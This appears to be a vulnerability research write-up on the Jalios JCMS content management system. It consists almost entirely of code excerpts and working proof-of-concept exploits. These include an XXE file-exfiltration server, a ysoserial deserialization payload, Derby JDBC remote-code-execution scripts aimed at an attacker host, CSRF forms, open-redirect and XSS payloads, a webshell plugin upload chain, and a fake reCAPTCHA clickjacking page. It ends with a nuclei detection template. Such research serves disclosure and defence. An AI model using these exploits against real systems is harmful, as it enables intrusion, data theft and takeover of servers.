[/opt/tomcat]$ ls
bin  BUILDING.txt  conf  CONTRIBUTING.md  data  lib  LICENSE  logs  NOTICE  README.md  RELEASE-NOTES  RUNNING.txt  temp  webapps  work
[/opt/tomcat]$ ls webapps
docs  examples  host-manager  jalios  manager  ROOT

[/opt/tomcat/webapps/jalios]$ ls -lha
total 116K
drwxr-xr-x 20 root root 4.0K Mar  2 21:10 .
drwxr-xr-x  9 root root 4.0K Mar  2 21:09 ..
drwxr-xr-x 13 root root  12K Jun 14  2022 admin
drwxr-xr-x  6 root root 4.0K Mar  2 21:12 css
drwxr-xr-x  5 root root 4.0K Jun 14  2022 custom
-rw-r--r--  1 root root 5.9K Jun 14  2022 display.jsp
drwxr-xr-x  7 root root 4.0K Jun 14  2022 docs
-rw-r--r--  1 root root 1.1K Jun 14  2022 edit.jsp
drwxr-xr-x  3 root root 4.0K Jun 14  2022 error
drwxr-xr-x  2 root root 4.0K Jun 14  2022 feed
drwxr-xr-x  4 root root 4.0K Jun 14  2022 flash
drwxr-xr-x  4 root root 4.0K Jun 14  2022 fonts
drwxr-xr-x 20 root root 4.0K Jun 14  2022 front
drwxr-xr-x 11 root root 4.0K Jun 14  2022 frontlib
drwxr-xr-x  5 root root 4.0K Jun 14  2022 images
-rw-r--r--  1 root root 1.1K Jun 14  2022 index.jsp
drwxr-xr-x 35 root root 4.0K Jun 14  2022 jcore
drwxr-xr-x  6 root root 4.0K Jun 14  2022 js
drwxr-xr-x  2 root root 4.0K Jun 14  2022 META-INF
-rw-r--r--  1 root root  422 Jun 14  2022 s.gif
drwxr-xr-x 63 root root 4.0K Jun 14  2022 types
drwxr-xr-x  2 root root 4.0K Mar  2 21:10 upload
drwxr-xr-x  9 root root 4.0K Mar  2 21:10 WEB-INF
drwxr-xr-x 12 root root  12K Jun 14  2022 work

<% 
String modalClasses = "modal-confirm"; 
String confirmTitle = getStringParameter("confirmTitle",""); 
%> 
... 
<jalios:modal css="<%= modalClasses %>" title="<%= confirmTitle %>"> 
  [.. snipped ..] 
</jalios:modal>

%><jsp:useBean id="formHandler" scope="page" class="com.jalios.jcms.handler.TypeListEditorHandler"><% 
  %><jsp:setProperty name="formHandler" property="request" value="<%= request %>"/><% 
  %><jsp:setProperty name="formHandler" property="response" value="<%= response %>"/><% 
  %><jsp:setProperty name="formHandler" property="*" /><% 
  %><jsp:setProperty name="formHandler" property="noRedirect" value="true"/><% 
%></jsp:useBean><%

if (formHandler.validate()) { 
  request.setAttribute("modal.redirect", formHandler.getRedirect()); 
  %> 
  <%@ include file="/jcore/modal/modalRedirect.jspf" %><% 
} 
... 

boolean isContentEditor = formHandler.isContentEditor(); 
boolean isFormEditor = formHandler.isFormEditor(); 
boolean isPortletEditor = formHandler.isPortletEditor(); 
boolean isUGCEditor = formHandler.isUGCEditor(); 

... 
<p class="text-center"> 
    <<% if (isFormEditor) { %> 
    <input type='hidden' name='formAuthorId' value='<%= channel.getDefaultAdmin().getId() %>'/> 
    <% } else if (isUGCEditor) { %> 
    <input type="hidden" name="ugc" value="true"/> 
    <% } %> 
</p> 
... 

<?xml version="1.0" ?> 
<!DOCTYPE message [ 
    <!ENTITY % ext SYSTEM "http://127.0.0.1:5000/payload"> 
    %ext; 
]>

from flask import Flask, request 

app = Flask(__name__) 
me = 'http://127.0.0.1:5000' 

@app.route('/payload', methods=['GET']) 
def payload(): 
    payload = f''' 
<!ENTITY % file SYSTEM "file:///tmp/poc.txt"> 
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM '{me}/out?data=%file;'>"> 
%eval; 
%exfiltrate; 
''' 
    return payload, 200 

@app.route('/out', methods=['GET']) 
def exfiltrate(): 
    data = request.args.get('data') 
    print("#"*50) 
    print(data, flush=True) 
    print("#"*50) 
    return "Data received", 200 

if __name__ == '__main__': 
    app.run(debug=True)

public void parse() throws JasperException { 
        String str; 
        try { 
            XMLReader xMLReader = SAXParserFactory.newInstance().newSAXParser().getXMLReader(); 
            DefaultHandler parserXJspSaxHandler = new ParserXJspSaxHandler(this.filePath, this.jspHandler); 
            xMLReader.setContentHandler(parserXJspSaxHandler); 
            xMLReader.setEntityResolver(parserXJspSaxHandler); 
            xMLReader.setDTDHandler(parserXJspSaxHandler); 
            xMLReader.setErrorHandler(parserXJspSaxHandler); 
            for (int i = 0; i < lexicalHandlerPropNames.length && !setSaxProperty(xMLReader, parserXJspSaxHandler, lexicalHandlerPropNames[i]); i++) { 
            } 
            try { 
                xMLReader.setFeature("http://xml.org/sax/features/validation", false); 
                xMLReader.setFeature("http://xml.org/sax/features/namespaces", false); 
                xMLReader.setFeature("http://xml.org/sax/features/namespace-prefixes", true); 
                xMLReader.parse(this.is); 
            } catch (SAXNotRecognizedException e) { 
                throw new JasperException(Constants.getString("jsp.parser.sax.featurenotrecognized", new Object[]{e.getMessage()})); 
            } catch (SAXNotSupportedException e2) { 
                throw new JasperException(Constants.getString("jsp.parser.sax.featurenotsupported", new Object[]{e2.getMessage()})); 
            } 
        } catch (IOException e3) { 
            [.. SNIPPED ..] 
        } 
    }

public void inflate(String str, HttpServletRequest httpServletRequest) { 
    try { 
        str = IOUtil.base64DecodeAndInflateString(str); 
    } catch (Exception e) { 
        logger.warn(e.getMessage(), e); 
    } 
    Map<String, Object> emptyMap = Collections.emptyMap(); 
    try { 
        newSecureSAXParserFactory().newSAXParser().parse(new ByteArrayInputStream(str.getBytes()), new AjaxDeflateSAXEventHandler()); 
        XMLDecoder xMLDecoder = new XMLDecoder(new ByteArrayInputStream(str.getBytes())); 
        emptyMap = (Map) xMLDecoder.readObject(); 
        if (xMLDecoder != null) { 
            if (0 != 0) { 
                xMLDecoder.close(); 
            } else { 
                xMLDecoder.close(); 
            } 
        } 
    } catch (IOException | ParserConfigurationException | SAXException e2) { 
        logger.debug("Invalid Ajax deflate header received", e2); 
    } 
    if (emptyMap != null) { 
        readObject(emptyMap, httpServletRequest); 
    } 
}

<% request.setAttribute("CheckCSRF", Boolean.TRUE); %> 
<%@ include file="/jcore/doInitPage.jspf" %> 
<% String currentUserLang = channel.getCurrentUserLang(); %> 
<%= currentUserLang %>

<% 
    for (Iterator<String> it = DBUtil.getDataSourceMap().keySet().iterator(); it.hasNext();) { 
    String itDataSource = it.next(); 
    String selected = itDataSource.equals(dataSource) ? " selected='selected'" : "";
    %><option value="<%= itDataSource %>"<%= selected %>><%= channel.getDataSourceLabel(itDataSource, userLang) %></option><% 
    } 
%>

String dataSourceStr = getUntrustedStringParameter("ds", null); 
DataSource dataSource = DBUtil.getDataSource(dataSourceStr); 
if (dataSource == null) { 
  return; 
}

String table = getUntrustedStringParameter("table", null); 
String columns =  getUntrustedStringParameter("columns", "*"); 
String keyCol = getUntrustedStringParameter("keyCol", null); 
String labelCol = getUntrustedStringParameter("labelCol", null); 
String orderBy = getUntrustedStringParameter("orderBy", null); 
int maxRows = getIntParameter("maxRows", 100); 

if(!columns.equals("*")) { 
  if(labelCol != null && !columns.contains(labelCol)) { 
    columns = labelCol + "," + columns; 
  } 
  if(keyCol != null && !columns.contains(keyCol)) { 
    columns = keyCol + "," + columns; 
  } 
} 

String sqlQuery = "select " + columns + " from " + table + (Util.notEmpty(orderBy) ? " ORDER BY " + orderBy : ""); 
[.. SNIPPED ..] 
<jalios:sqlquery name="sqr" dataSource="<%= dataSourceStr %>" query="<%= sqlQuery %>" maxRows="<%= maxRows %>" />

String msg = com.jalios.jcms.ajax.JcmsJSONUtil.checkJDBCConnection( 
  getUntrustedStringParameter("db_jcmsdb",""),  
  getUntrustedStringParameter("db_url",""),  
  getUntrustedStringParameter("db_username",""),   
  getUntrustedStringParameter("db_password","") 
);

public static void checkJDBCConnection(String str, String str2, String str3, String str4) throws Exception { 
  channel.getClass(str); 
  Connection connection = DriverManager.getConnection(str2, str3, str4); 
  if (connection != null) { 
      connection.close(); 
  } 
}

java -jar ysoserial-all.jar ROME "touch /tmp/hacked" | base64 -w 0

async function RCE_v1(host, port) { 
  const headers = new Headers(); 
  headers.append("X-Requested-With", "XMLHttpRequest"); 
  let id = (Math.random() + 1).toString(36).substring(7); 
  const urls = [ 
    `/admin/properties/ajaxJDBC.jsp?db_jcmsdb=derby-remote&db_url=jdbc:derby:${id};create=true&db_username=&db_password=`, 
    `/admin/properties/ajaxJDBC.jsp?db_jcmsdb=derby-remote&db_url=jdbc:derby:${id};startMaster=true;slaveHost=${host};slavePort=${port};&db_username=&db_password=` 
  ]; 
  for (const url of urls) { 
    try { 
      const response = await fetch(url, { 
        method: 'GET', 
        headers: headers 
      }); 
      const result = await response.text(); 
      console.log(result); 
    } catch (error) { 
      console.error('Error:', error); 
    } 
  } 
} 

RCE_v1("<ip>", 36071)

function RCE_v2(host, port){ 
    let id = (Math.random() + 1).toString(36).substring(7); 
    JcmsJsContext.getJsonRPC().JcmsJSONUtil.checkJDBCConnection("derby-remote",`jdbc:derby:${id};create=true`,"",""); 
    JcmsJsContext.getJsonRPC().JcmsJSONUtil.checkJDBCConnection("derby-remote",`jdbc:derby:${id};startMaster=true;slaveHost=${host};slavePort=${port};`,"",""); 
} 

RCE_v2("<ip>", 36071)

protected boolean validateUpdate() throws IOException { 
        if (!this.opUpdate) { 
            return false; 
        } 
        if (this.memberAlertSettingsHandler != null) { 
            this.memberAlertSettingsHandler.setOpUpdate(String.valueOf(Boolean.TRUE)); 
        } 
        if (!validateCommonUpdate()) { 
            return false; 
        } 
        this.workingMember = (Member) this.member.getUpdateInstance(); 
        setFields(this.workingMember); 
        if (!processStatus(this.workingMember.checkUpdate(this.loggedMember, getControllerContext()))) { 
            return false; 
        } 
        return true; 
    }

<html> 
  <body> 
    <script> 
      f = document.createElement("form") 
      f.method = 'POST' 
      f.enctype="multipart/form-data" 
      f.action="http://172.22.12.128:8001/jalios/front/editProfile.jsp" 
      const fields = [ 
        { name: "email", value: "[email protected]" }, 
        { name: "opUpdateProfile", value: "Enregistrer" } 
      ]; 
      fields.forEach(field => { 
        const input = document.createElement("input"); 
        input.type = "hidden"; 
        input.name = field.name; 
        input.value = field.value; 
        form.appendChild(input); 
      }); 
      document.body.appendChild(f); 
      f.submit(); 
    </script> 
  </body> 
</html>

String redirectUrl = Util.getString(getValidHttpUrl("redirect"), (restartAsked ? "admin/admin.jsp" : "")); 
[.. SNIPPED ..] 
JcmsJspContext.sendRedirect(redirectUrl, request, response);

String redirect = Util.getString(getValidHttpUrl("redirect"), ServletUtil.getBaseUrl(request) + "index.jsp"); 
if (isLogged) { 
  sendRedirect(redirect); 
  return; 
}

String redirect = getValidHttpUrl("redirect"); 
sendRedirect(redirect);

if (hasParameter("opChange") && ws != null) { 
  [.. SNIPPED ..] 
  String redirectUrl = urlWorkAreaUpdate != null ? urlWorkAreaUpdate + "ws=" + ws.getId() : null; 
  if (getBooleanParameter("modal", true)) { 
    request.setAttribute("modal.redirect", redirectUrl); 
  } else { 
    sendRedirect(redirectUrl); 
  } 
  [.. SNIPPED ..] 
}    

sendRedirect(getUntrustedStringParameter("redirect", "admin/admin.jsp"), request, response);

public String getRedirect() { 
    return this.redirect; 
} 

public void setRedirect(String str) { 
    this.redirect = HttpUtil.validateHttpUrl(str); 
    if (str != null && this.redirect == null) { 
        JcmsUtil.logSecurityIssue(logger, "Invalid 'redirect' URL parameter : '" + str + "'. Update configuration if URL should be authorized (see javadoc for HttpUtil.isValidHttpUrl())."); 
    } 
}

public static String validateHttpUrl(String str) { 
  if (isValidHttpUrl(str)) { 
      return str; 
  } 
  return null; 
} 

public static boolean isValidHttpUrl(String str) { 
    [.. SNIPPED ..] 

    } else if (!isValidAgainstRegex("Http Url", "channel.security.Validator.JCMSRedirectURL", str)) { 
        logger.trace("[isValidHttpUrl] Done. Invalid URL : value does not match 'JCMSRedirectURL'."); 
        return false; 
    } else { 
        if (!URLUtils.isAbsoluteUrl(str)) { 
            logger.trace("[isValidHttpUrl] Done. Valid URL : relative URL value are always accepted."); 
            return true; 
        } 
        [.. SNIPPED ..] 
    } 
}

<input type='hidden' name='redirect' value='<%= formHandler.getRedirect() %>' />

String html = getUntrustedStringParameter("html", null);
html = WysiwygManager.cleanHtml(html, WysiwygManager.getCleanHtmlContextMap(null, "wysiwyg-preview"));
...
<jalios:wysiwyg><%= html %></jalios:wysiwyg>

<a href=Ja&Tab;vascript&colon;alert()>CLICK HERE

<html> 
  <body> 
    <form action="http://172.22.12.128:8080/jalios/admin/analytics/index.jsp" method="POST"> 
      <input type="hidden" name="analyticsWS" value="ALL&#95;WORKSPACE" /> 
      <input type="hidden" name="beginDate" value="doAjaxGroupList&quot;&quot;&gt;&lt;img&#47;src&#47;onerror&#61;alert&#40;1&#41;&gt;" /> 
      <input type="hidden" name="endDate" value="doAjaxGroupList&quot;&quot;&gt;&lt;img&#47;src&#47;onerror&#61;alert&#40;2&#41;&gt;" /> 
      <input type="hidden" name="opSubmit" value="true" /> 
    </form> 
    <script> 
      document.forms[0].submit(); 
    </script> 
  </body> 
</html>

<html> 
  <body> 
    <form action="http://172.22.12.128:8080/jalios/admin/editPlugin.jsp" method="POST"> 
      <input type="hidden" name="label" value="POC XSS" /> 
      <input type="hidden" name="label" value="" /> 
      <input type="hidden" name="name" value="XSS" /> 
      <input type="hidden" name="description" value="&lt;div&#32;class&#61;&quot;wysiwyg&quot;&gt;&lt;p&gt;Poc&#32;for&#32;Stored&#32;XSS&lt;&#47;p&gt;&lt;&#47;div&gt;" /> 
      <input type="hidden" name="description" value="" /> 
      <input type="hidden" name="version" value="0&#46;1" /> 
      <input type="hidden" name="order" value="0" /> 
      <input type="hidden" name="url" value="" /> 
      <input type="hidden" name="author" value="&lt;img&#47;src&#47;onerror&#61;alert&#40;1&#41;&gt;" /> 
      <input type="hidden" name="license" value="&lt;img&#47;src&#47;onerror&#61;alert&#40;2&#41;&gt;" /> 
      <input type="hidden" name="jcms" value="" /> 
      <input type="hidden" name="jsync" value="false" /> 
      <input type="hidden" name="appServer" value="" /> 
      <input type="hidden" name="appServer" value="" /> 
      <input type="hidden" name="redirect" value="" /> 
      <input type="hidden" name="opSave" value="Enregistrer" /> 
    </form> 
    <script> 
      document.forms[0].submit(); 
    </script> 
  </body> 
</html>

var malicious_plugin = " plugin zipped (hex) " 
const base_url = "/jalios" // To Edit depending your basepath 

function hexToBlob(hexString) { 
    const arrayBuffer = new Uint8Array(hexString.match(/.{1,2}/g).map(byte => parseInt(byte, 16))).buffer; 
    return new Blob([arrayBuffer], { type: 'application/octet-stream' }); 
} 

function upload() { 
    var formData = new FormData(); 
    formData.append("archive", new Blob([hexToBlob(malicious_plugin)], { type: "application/octet-stream" }), "Webshell_0.1.zip"); 
    formData.append("opDeploy", true) 
    formData.append("opUpload", true) 

    var stage1 = new XMLHttpRequest(); 
    stage1.open("POST", `${base_url}/admin/displayPlugin.jsp`, false); 
    stage1.send(formData); 
    console.log("Plugin uploaded"); 
    
    var stage3 = new XMLHttpRequest(); 
    stage3.open("GET", `${base_url}/admin/editPlugin.jsp?value=true&opEnable=true&name=Webshell&redirect=admin%2FdisplayPlugin.jsp%3Fname%3DWebshell`, false); 
    stage3.send(); 
    console.log("Plugin enabled"); 
} 

upload();

document.location="javascript:alert(1)"

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> 
<html> 
<head> 
<meta http-equiv="content-type" content="text/html; charset=utf-8"> 
    <meta name="viewport" content="initial-scale=1"> 
    <title>reCAPTCHA</title> 
    <style> 
        body{font-family:Arial,sans-serif;background-color:#fff;color:#000;margin:0;padding:20px;font-size:18px;overscroll-behavior:contain}hr{border:0;height:1px;background-color:#ccc;margin:10px 0}.container{max-width:400px;margin:0}.recaptcha-container{background-color:#f9f9f9;border:1px solid #d3d3d3;border-radius:3px;padding:10px;box-shadow:0 0 10px rgba(0,0,0,.1);margin:10px 0}.checkbox-container{display:flex;align-items:center;margin-bottom:10px}.checkbox{width:28px;height:28px;background-color:#fff;border:2px solid #c1c1c1;border-radius:2px;display:flex;align-items:center;justify-content:center;cursor:pointer}.checkbox:hover{border-color:#b2b2b2}.checkbox-tick{font-size:18px;color:#34a853;display:none}.checkbox-text{margin-left:10px;font-size:14px;color:#000}.recaptcha-logo{width:50px;height:50px;margin-left:auto}.recaptcha-footer{font-size:8px;color:#555;text-align:center;margin-top:10px}.recaptcha-footer a{color:#555;text-decoration:none}.info a:hover,.recaptcha-footer a:hover{text-decoration:underline}.info{font-size:13px;line-break:anywhere;margin-top:10px}.info a{color:#1a0dab;text-decoration:none}.info-div{display:none;background-color:#eee;padding:10px;margin:10px 0;line-height:1.4em}#XSSDiv{position:fixed;top:0;left:0;width:100vw;height:100vh;background:rgba(0,0,0,.01);z-index:9999;pointer-events:all} 
    </style> 
</head> 
<body> 
    <script> 
        function trigger(){ 
            open('/page2.html') 
            document.location="http://172.22.12.128:8001/jalios/"; 
        } 
    </script> 
    <div id="XSSDiv" onclick="trigger()"></div> 

    <div class=container><hr><form action=index id=captcha-form method=post><noscript><div style=font-size:13px>Pour continuer, veuillez activer JavaScript sur votre navigateur Web.</div></noscript><div class=recaptcha-container><div class=checkbox-container><div class=checkbox><span class=checkbox-tick>✔</span></div><span class=checkbox-text>Je ne suis pas un robot</span> <img alt="reCAPTCHA Logo"class=recaptcha-logo src=https://www.google.com/recaptcha/about/images/[email protected]></div><div class=recaptcha-footer><a href=https://www.google.com/intl/fr/policies/privacy/ >Confidentialité</a> - <a href=https://www.google.com/intl/fr/policies/terms/ >Conditions</a></div></div></form><hr><div class=info><b>À propos de cette page</b><br><br>Nos systèmes ont détecté un trafic exceptionnel sur votre réseau informatique. Cette page permet de vérifier que c'est bien vous qui envoyez des requêtes, et non un robot. <a href=# onclick='document.getElementById("infoDiv").style.display="block"'>Que s'est-il passé ?</a><br><br><div class=info-div id=infoDiv>Cette page s'affiche lorsque Google détecte automatiquement des requêtes émanant de votre réseau informatique qui semblent enfreindre les <a href=//www.google.com/policies/terms/ >Conditions d'utilisation</a>. Le blocage prendra fin peu après l'arrêt de ces requêtes. En attendant, la saisie de l'image CAPTCHA ci-dessus vous permettra de continuer à utiliser nos services.<br><br>Des applications malveillantes, un plug-in de navigateur ou un script qui envoie des requêtes automatiques peuvent être à l'origine de ce trafic. Si vous utilisez une connexion réseau partagée, demandez de l'aide à votre administrateur. Il est possible qu'un autre ordinateur utilisant la même adresse IP soit en cause. <a href=//support.google.com/websearch/answer/86640>En savoir plus</a><br><br>Vous pouvez être invité à saisir les caractères de l'image CAPTCHA si vous utilisez des termes avancés auxquels les robots ont recours ou si vous envoyez des requêtes très rapidement.</div><br>Adresse IP : 2001:811:3dc1:7010:dcb8:5c63:510:571e<br>Heure : 2025-02-24T02:26:44Z<br></div></div> 
</body> 
</html>

<html> 
    <body> 
    <form id="uploadForm" action="http://172.22.12.128:8001/jalios/admin/deploy/popupSignUpload.jsp" method="POST" enctype="multipart/form-data"> 
      <input type="file" name="file" id="fileInput" /> 
      <input type="hidden" name="redirect" value="javascri&#9;pt&#58;alert&#96;1&#96;" /> 
      <input type="submit" value="Submit request" /> 
    </form> 
    <script> 
        const blob = new Blob(["POC_XSS"], { type: "text/plain" }); 
        const file = new File([blob], `${Math.floor(Math.random() * 1000000)}.txt`, { type: "text/plain" }); 
        const dataTransfer = new DataTransfer(); 
        dataTransfer.items.add(file); 
        const fileInput = document.getElementById("fileInput"); 
        fileInput.files = dataTransfer.files; 
        setTimeout(() => { 
            document.getElementById("uploadForm").submit(); 
        }, 3000); 
    </script> 
    </body> 
</html>

... 
(function() { 
	... 
  testText = document.getElementById('testText'); 
	function updateTest() { 
		testDrive.innerHTML = testText.value || String.fromCharCode(160); 
		... 
	} 
  ... 
	testText.addEventListener('change', updateTest, false); 
	updateSize(); 
}()); 

AVANT"><img/src/onerror=alert(1)>APRES

<html> 
    <body> 
        <iframe src="http://localhost:8000/jalios/docs/jcms/fonts/icomoon/demo.html#testText"> 
    </body> 
</html>

<script>  
  document.getElementById('evil').src = `http://localhost:8000/jalios/docs/jcms/fonts/icomoon/demo.html#testText` 
  window.addEventListener("message", function(event) { 
    if (event.data && event.data.type === "update") { 
      document.getElementById('pasteArea').value = event.data.message; 
    } 
	}, false); 
	if (location.href.indexOf('debug') > 0) { 
		document.getElementById('evil').style.opacity="50%" 
	} 

  function exploit() { 
    b64 = btoa(` 
window.parent.postMessage({ type: "update", message: document.getElementById('testText').value }, "*"); 
document.getElementById('testText').addEventListener('input', (function() { 
	window.parent.postMessage({ type: "update", message: document.getElementById('testText').value }, "*"); 
}), false); 

alert(1) 
`) 
  payload = `\"><img/src/onerror=\"eval(atob('${b64}'))\">` 
  random = btoa("ThisIsAClickJacking") 
  navigator.clipboard.writeText(random+payload+random).then(() => { 
        document.getElementById('step1').style.display = 'none'; 
    document.getElementById('step2').style.display = ''; 
    }, (err) => { 
        console.error(err); 
    }); 
} 

</script>

id: detect-jalios-cms

info:
  name: JALIOS CMS Detection
  author: Vozec
  severity: info
  description: Template to detect JALIOS CMS instances
  reference:
    - https://www.jalios.com/
  tags: panel,jalios,jcms

requests:
  - method: GET
    path:
      - "{{BaseURL}}/"
      - "{{BaseURL}}/pom.xml"
      - "{{BaseURL}}/front/privateLogin.jsp"
      - "{{BaseURL}}/docs/jcms/fonts/icomoon/demo.html"

      - "{{BaseURL}}/jcms"
      - "{{BaseURL}}/jcms/front/privateLogin.jsp"
      - "{{BaseURL}}/jcms/docs/jcms/fonts/icomoon/demo.html"

      - "{{BaseURL}}/jplatform"
      - "{{BaseURL}}/jplatform/front/privateLogin.jsp"
      - "{{BaseURL}}/jplatform/docs/jcms/fonts/icomoon/demo.html"

    stop-at-first-match: true
    redirects: true
    matchers:
      - type: word
        words:
          - "Jalios JCMS"
          - "JPlatform"
          - "data-jalios"
          - "ajax-wait.svg\""
          - "jalios-icon"
          - "jQuery.jalios"
          - "jalios-properties"
          - "com.jalios.jcms"
          - "JCMS_"
          - "src=\"js/jalios"
          - "data-jalios-toggle"
          - "jalios-login"
          - "www.jalios.com"
          - "icomoon-home"
          - "IcoMoon Demo"
          - "Jalios"

        condition: or
        part: body

    extractors:
      - type: regex
        part: body
        internal: False
        regex:
          - "(Jalios JCMS|JPlatform|data-jalios|ajax-wait.svg\"|jalios-icon|jQuery.jalios|jalios-properties|com.jalios.jcms|JCMS_\"|src=\"js/jalios|data-jalios-toggle|www.jalios.com|jalios-login|icomoon-home|IcoMoon Demo|Jalios)"